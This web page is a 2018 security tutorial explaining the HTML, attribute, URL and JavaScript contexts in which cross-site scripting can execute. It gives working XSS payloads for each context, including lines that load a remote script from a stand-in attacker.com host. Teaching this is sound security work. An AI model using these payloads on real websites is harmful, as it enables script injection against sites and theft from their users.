

Security Idiots

[Home](#)[Categories](#)[Video Gallery](#)[The Idiots Team](#)[Contact Us](#)

Tutorials Browser

[Web Pentest](#)[Information-Gathering](#)[Part-0-Purpose-of-Information-Gathering.html](#)[Part-1-information-Gathering-with-websites.html](#)[Part-2-information-Gathering-with-Google.html](#)[Part-3-information-Gathering-with-nmap.html](#)[Part-4-DNS-information-Gathering-with-DIG.html](#)[Part-5-information-Gathering-with-Fierce.html](#)

Different Contexts for XSS execution

Hey Everyone! been a long time since the last post :\ all due to laziness of Zen. So continuing the series, we are gonna talk about different contexts where XSS could occur.

First of all what are XSS contexts?

Contexts for XSS are nothing but the situations or the places/positions where the user input might reflect inside the DOM and if not sanitised or properly encoded then may lead to XSS.

Basic types of contexts where XSS could occur could be:

1. HTML context
2. Attribute context
3. URL context
4. Javascript context

#1. HTML context

This is the simplest contexts where XSS could occur. It's nothing but when the unsanitized user input is put in the response body as is. This occurs when angular brackets/tags (< or >) are not at all sanitized.

Part-6-information-Gathering-with-FOCA.html

Part-7-information-Gathering-with-Metagofil.html

Cloudflare-Bypass

Part-1-Understanding-Cloudflare-Security.html

Part-2-Cloudflare-Security-Bypass.html

Part-3-Cloudflare-Security-Bypass.html

Part-4-Cloudflare-Security-Bypass.html

LFI

guide-to-lfi.html

SQL-Injection

Part-1-Basic-of-SQL-for-SQLi.html

Part-2-Basic-of-SQL-for-SQLi.html

Part-3-Basic-of-SQL-for-SQLi.html

Basic-Union-Based-SQL-Injection.html

basic-injection-single-line-or-death.html

XPATH-Error-Based-Injection-Extractvalue.html

XPATH-Error-Based-Injection-UpdateXML.html

Error-Based-Injection-Subquery-Injection.html

Example:

```
<!DOCTYPE HTML>
<html>
<head>
<title>HTML Context</title>
</head>
<body>
{{userinput}}
</body>
</html>
```

Some Possible Payloads:

```
<script src=//attacker.com/evil.js></script>
<script>alert(1)</script>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe onload=alert(1)>
```

In order to Inject javascript we need to atleast inject "<" into the response body. A payload like ``<script>alert(1)</script>`` would be enough to trigger however there must be a closing tag anywhere below the injected payload

There are certain tags which treat whatever the userinput inside them as raw text and do not render HTML at all. These tags need to be closed themselves first before executing the payload. Example of this tag is:

1. title

Example:

[sql-evil-twin-injection.html](#)
[Blind-SQL-Injection.html](#)
[bypass-login-using-sql-injection.html](#)
[dump-database-from-login-form-sql.html](#)
[url-spoofed-phishing-with-sqli.html](#)
[ddos-website-with-sqli-siddos.html](#)
[delete-query-injection.html](#)
[update-query-injection.html](#)
[xss-injection-with-sqli-xssqli.html](#)
[time-based-blind-injection.html](#)
[insert-query-injection.html](#)
[group-by-and-order-by-sql-injection.html](#)
[Union-based-Oracle-Injection.html](#)
[Dump-in-One-Shot-part-1.html](#)
[Dump-in-One-Shot-part-2.html](#)
[DIOS-the-SQL-Injectors-Weapon-Upgraded.html](#)
[database-type-testing-sql-injection.html](#)
[routed_sql_injection.html](#)
[multi-query-injection.html](#)
[mssql-insert-query-injection.html](#)

```

<!DOCTYPE HTML>
..
<title>{{userinput}}</title>
..

```

Payload: `</title><script>alert(1)</script>`

2. textarea

Example:

```

<!DOCTYPE HTML>
..
<textarea>{{userinput}}</textarea>
..

```

Payload: `</textarea><script>alert(1)</script>`

3. xmp

Payload: `</xmp><script>alert(1)</script>`

#2. Attribute Context

Its the case when the User input is inside any attribute's value of the HTML tag. Userinput in this context could be used in conjunction with event handlers to execute javascript. The Userinput inside an attribute could be in ways:

1. Double Quoted Input
2. Single Quoted Input
3. without any quotation

[oracle-sql-injection-dios-query.html](#)
[mssql-out-of-band-exploitation.html](#)
[addslashes-bypass-sql-injection.html](#)
[MSSQL](#)
[mssql-dios.html](#)
[MSSQL-Union-Based-Injection.html](#)
[MSSQL-Error-Based-Injection.html](#)
[Tricks](#)
[Grab-IP-Address-Using-Image.html](#)
[WAF-Bypass](#)
[waf-bypass-guide-part-1.html](#)
[bypass-sucuri-webSite-firewall.html](#)
[XPath-Injection](#)
[Basics-of-XPath-for-XPath-Injection-part-1.html](#)
[Basics-of-XPath-for-XPath-Injection-part-2.html](#)
[Basics-XPath-injection.html](#)
[xpath-injection-part-1.html](#)
[XSS](#)
[XXE](#)
[XXE-Cheat-Sheet-by-SecurityIdiots.html](#)

This is also useful when the application is properly filtering/encoding the opening/closing tags

```

<!DOCTYPE HTML>
<html>
<head>
<title></title>
</head>
<body>
.....
...
<input type="" name="input" value="{user input}"> <!-- double quoted -->
<input type="" name="input" value='{user input}'> <!-- single quoted -->
<input type="" name="input" value={user input}> <!-- without quotations -->
...
....
</body>
</html>

```

Some Possible Payloads:

#1. Double quoted

```

"autofocus onfocus="alert(1)`
"autofocus onfocus=alert(1)//`
"onbeforescriptexecute=alert(1)//`
"onmouseover="alert(1)//` (Interaction)
"autofocus onblur="alert(1)` (Interaction)

```

#2. Single Quoted

```

'autofocus onfocus='alert(1)`
'autofocus onfocus=alert(1)//`
'onbeforescriptexecute=alert(1)//`

```

`onmouseover='alert(1)//` (Interaction)
`autofocus onblur='alert(1)' (Interaction)

#3. Without Quotations

`aaaa autofocus onfocus=alert(1)//`
`aaaa onbeforescriptexecute=alert(1)//`
`aaaa onmouseover=alert(1)//`

Note 1: You should use the proper event handlers with proper tags by looking at the documentations or some examples on the Internet otherwise not all event handlers work with every tags. There's an article by @brutelog which contains those event handlers which works with all tags <https://brutelogic.com.br/blog/agnostic-ever-handlers/>

Note 2: Also some tags couldn't execute javascript with any attribute (event handler) one such tag is "meta" tag

****Disabled and Hidden Inputs:****

Sometimes the Userinput could be inside an input which has `type=hidden` or has `disabled` attribute set. In such cases usual event handlers won't work.

1. Hidden Inputs

There are 2 ways to bypass this

a) Accesskey with onclick event (Requires Interaction)

Example:

```
<!DOCTYPE HTML>
<html>

..
<input type="hidden" value="{{userinput}}" />
..
</html>
```

Payload: ``accesskey="X" onclick="alert(1)``

to Trigger the onclick event we then need to press the Key combination Alt+SHIFT+{accesskey} ie. in this case Alt+SHIFT+X

b) This requires the Userinput to be before the `type=hidden` parameter which isn't the case always but if it is then we could execute javascript without interaction by overriding the type attribute of the input tag to anything other than hidden.

Example:

```
<!DOCTYPE HTML>
<html>
..
<input value="{userinput}" type="hidden"/> <!-- notice the position of userinput before type -->
..
</html>
```

Payload: `` type=xx autofocus onfocus=alert(1)//``

2. Disabled Inputs (Firefox only) :

Example:

```
<!DOCTYPE HTML>
<html>
..
<input disabled value="{userinput}" />
..
</html>
```

Payload: ``style="position:fixed;top:0;left:0;border:3px solid red;" onmouseover="alert(1)``

Its discovered by Dr. Mario <https://twitter.com/ox6D6172696F/status/933325205774139392>

#3. URL Context

This is the case where most HTML encoding/filtering in the application doesn't work usually. This occurs due the userinput into some special attributes in some tags which takes a URL/link and could be used to execute javascript.

Examples:

1. Script Tag

```
<script src="{userinput}"></script>
```

The src attribute could be used to load javascript remotely

Payload: ``http://attacker.com/evil.js``

2. Anchor Tag

```
<a href="{userinput}">Click</a>
```

The href attribute of <a> tag could be used to execute javascript with ``javascript:`` scheme

Payload: ``javascript:alert(1)//``

3. Iframe Tag

```
<iframe src="{userinput}" />
```

The src attribute of <iframe> tag could also be used to execute javascript with ``javascript:`` scheme

Payload: `javascript:alert(1)//`

4. Base tag

```
<base href="{[userinput]}">
```

The href attribute could be used to load javascript remotely so any other href or links such as scripts would be loaded from attacker domain as base.

Payload: `http://attacker.com/evil.js?#`

5. Form Tag

```
<form action="{[userinput]}">
...
<button>X</button>
```

Payload: `javascript:alert(1)//`

6. Frameset

```
<frameset><frame src="{[userinput]}"></frameset>
```

Payload: `javascript:alert(1)//`

#4 Javascript context

This happens when the Userinput is put into the javascript inside `<script>` tags or inside an event handler executing javascript. so what we have to do mostly is break out of any quotes and execute any javascript function.

directly.

Example #1:

```
<!DOCTYPE HTML>
<html>
..
<script>
var x="{[userinput]}";// break out of quotes accordingly if its double or single
..
...
</script>
..
</html>
```

Some Possible Payload:

```
`";alert(1)//`
`"-alert(1)-" `
`"+alert(1)+" `
`**alert(1)**`
```

Js function can also be used as any other mathematical operand such as ^ (xor), % (modulous) , / (divide) etc..

If the Userinput is directly reflected into some javascript expression without quotes you might be able to execute javascript functions directly.

Example #2:

```
<!DOCTYPE HTML>
<html>
..
```

```
<script>
var x={{userinput}};
..
...
</script>
..
</html>
```

Some Possible Payloads:

```
`alert(1);`
`1-alert(1);`
`alert(1)//`
```

So actually all you have to do is break out of the context without making any errors in the syntax of existing javascript and balance up braces/parenthesis etc to execute our javascript otherwise if there's an error introduced in the syntax even after our payload, our javascript will not execute. Let's look at a Complex example

Example #3:

```
<!DOCTYPE HTML>
<html>
..
<script>
var x=123;
function test(){

if(test == '{{userinput}}'){
//something
}
else
{
//something
}
```

Step by Step Solving:

1. Break out of quote and closing "If" such that no error is there

Userinput: `test'){//`

We closed the single quote, closed the right parenthesis of "If", opened up brace to match the closing brace and commented the rest of the line

The Output will look like

```
function test(){  
  
if(test =='test'){//}{  
  //something  
}  
else  
{  
  //something  
}  
}
```

2. Since the function isn't execute anywhere we need to also break out of the function

Userinput: `test'){1}){//`

This will close the previous function completely without any error. However the rest of the code has a lot unopened braces and parenthesis.

The Output will look like

```
function test(){  
  
if(test =='test'){1}//'  
//something  
}  
else  
{  
//something  
}  
}
```

3. To balance the rest of the code we need to also start a fake/dummy function and if condition inside it

Userinput: `test'){1}};function dummy(){ if(1){//`

so the errors are gone Now we could execute our javascript function just before our dummy function such as:

Userinput: `test'){1}};alert(1);function dummy(){ if(1){//`

4. To make the input small we could also use ES6 arrow function instead of writing a "function dummy()" like:

Userinput: `test'){1}};alert(1);dummy=>{ if(1){//`

final output will look like

```
function test(){  
  
if(test =='test'){1}};alert(1);dummy=>{ if(1){//'}{1}//'  
//something  
}
```

Designed by k-hz webdevelopers

```
else
{
//something
}
}
```

I guess that's enough for this tutorial. Next tutorial is where the fun begins with Filter and WAF bypassing tricks stuffs Stay Tuned :D!

Author : Rahul Maini

Date : 2018-05-31

ALSO ON SECURITYIDIOTS.COM

Bypass Sucuri WebSite Firewall(WAF)

3 years ago • 2 comments

In this tutorial we'll bypass the latest WAF Sucuri. Which is becoming a pain ...

DDOS Using SQL injection (SiDDOS)

3 years ago • 2 comments

Regardless to many other attacks we can perform using SQLi there is an ...

Guide to WAF Bypass by Securityidiots

3 years ago • 2 comments

Heres one of the most requested tutorial yet, Lets start learning and ...

DIOS the SQL Injectors Weapon (Upgraded)

3 years ago • 2 comments

Learn some more about DIOS and check out the other complete new ...

Error Bas SubQuer

3 years ago

XPATH is r some versi and may b

3 Comments securityidiots.com  Disqus' Privacy Policy

 Login

 Recommend  Tweet  Share

Sort by Bes



Join the discussion...

LOG IN WITH

OR SIGN UP WITH DISQUS ?

Name

Kewin Remy • 2 months ago

This is the best article I read about xss contexts. Simple and clear.

  • Reply • Share >

José Wilton Tety • a year ago

Muito bom o conteúdo, prático e interessante, resumindo basicamente o que todos querem saber. Conteúdos como esse devem progredir e levar o conhecimento a diversos usuários, pois o mesmo contém informações com muita qualidade. ;

[WillDeveloper](#)

^ | v • Reply • Share ›

Victor Zakharenko • 2 years ago

Cool! :D

^ | v • Reply • Share ›

 [Subscribe](#)  [Add Disqus to your site](#) [Add DisqusAdd](#)  [Do Not Sell My Data](#)

Connect with Security Idiots

Learn & share more on Hacking and Security

FACEBOOK



Youtube Channel

Contact Security Idiots

Email

admin@securityidiots.com